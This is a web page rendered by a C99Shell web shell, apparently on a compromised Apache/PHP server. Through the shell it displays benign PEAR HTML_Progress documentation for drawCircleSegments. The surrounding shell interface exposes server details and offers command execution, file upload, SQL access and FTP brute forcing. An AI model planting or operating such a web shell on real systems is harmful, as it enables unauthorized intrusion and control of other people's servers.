!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/lib/php/doc/HTML_Progress/docs/TDG/HTML_Progress/   drwxr-xr-x
Free 13.07 GB of 61.93 GB (21.1%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     tutorial_ui.drawcirclesegments.pkg.html (9.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
HTML_Progress_UI::drawCircleSegments
HTML_Progress
[ class tree: HTML_Progress ] [ index: HTML_Progress ] [ all elements ]
Prev Next
HTML_Progress_UI::drawCircleSegments
draws each of pictures for circle and/or ellipse progress meter

Synopsis

require_once 'HTML/Progress/UI.php';

mixed HTML_Progress_UI::drawCircleSegments( string $dir = '.' string $fileMask = 'c%s.png')

Description

This method is used to create each circle/ellipse segment picture.

$dir is the path to final destination of pictures creates by the GD library.

$fileMask is a template filename to build each picture segment.

Parameter

    string $dir
  • directory where pictures should be created.

    string $fileMask
  • mask for picture filename (sprintf format).

Throws

Possible PEAR_Error values

Error level Error code Error message Solution
exception HTML_PROGRESS_ERROR_INVALID_INPUT invalid input, parameter #1 "$dir" was expecting "string" Fixed the cast of parameter
exception HTML_PROGRESS_ERROR_INVALID_INPUT invalid input, parameter #2 "$fileMask" was expecting "string" Fixed the cast of parameter

Note

( HTML_Progress >= 1.2.0RC1, Image_Color >= 1.0 )

This function can not be called statically.

See

HTML_Progress_UI::setCellAttributes

Example

Example below will produced picture segments for a plain circle progress meter.

  1. <?php
  2. require_once 'HTML/Progress.php';
  3.  
  4. $bar = new HTML_Progress(HTML_PROGRESS_CIRCLE);
  5.  
  6. $ui =& $bar->getUI();
  7. $ui->setStringAttributes('background-color=#eeeeee');
  8. $ui->setCellAttributes(array(
  9. 'width' => 50,
  10. 'height' => 50,
  11. 'spacing' => 0,
  12. 'background-color' => '#EEEEEE'
  13. ));
  14.  
  15. $dir = '../temp';
  16. $fmask = 'c%s.png';
  17.  
  18. if (file_exists("$dir/c0.png")) {
  19. // uses cached files rather than create it again and again
  20. foreach (range(0,10) as $index) {
  21. $ui->setCellAttributes(
  22. array('background-image' => sprintf($dir.$fmask, $index)),
  23. $index
  24. );
  25. }
  26. } else {
  27. // creates circle segments pictures only once
  28. $ui->drawCircleSegments($dir, $fmask);
  29. }
  30. ?>

Prev Up Next
HTML_Progress_UI::getStyle Reference Guide HTML_Progress_Monitor::notify

Documentation generated on Sun, 12 Sep 2004 20:23:31 +0200 by phpDocumentor 1.3.0RC3

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5445 ]--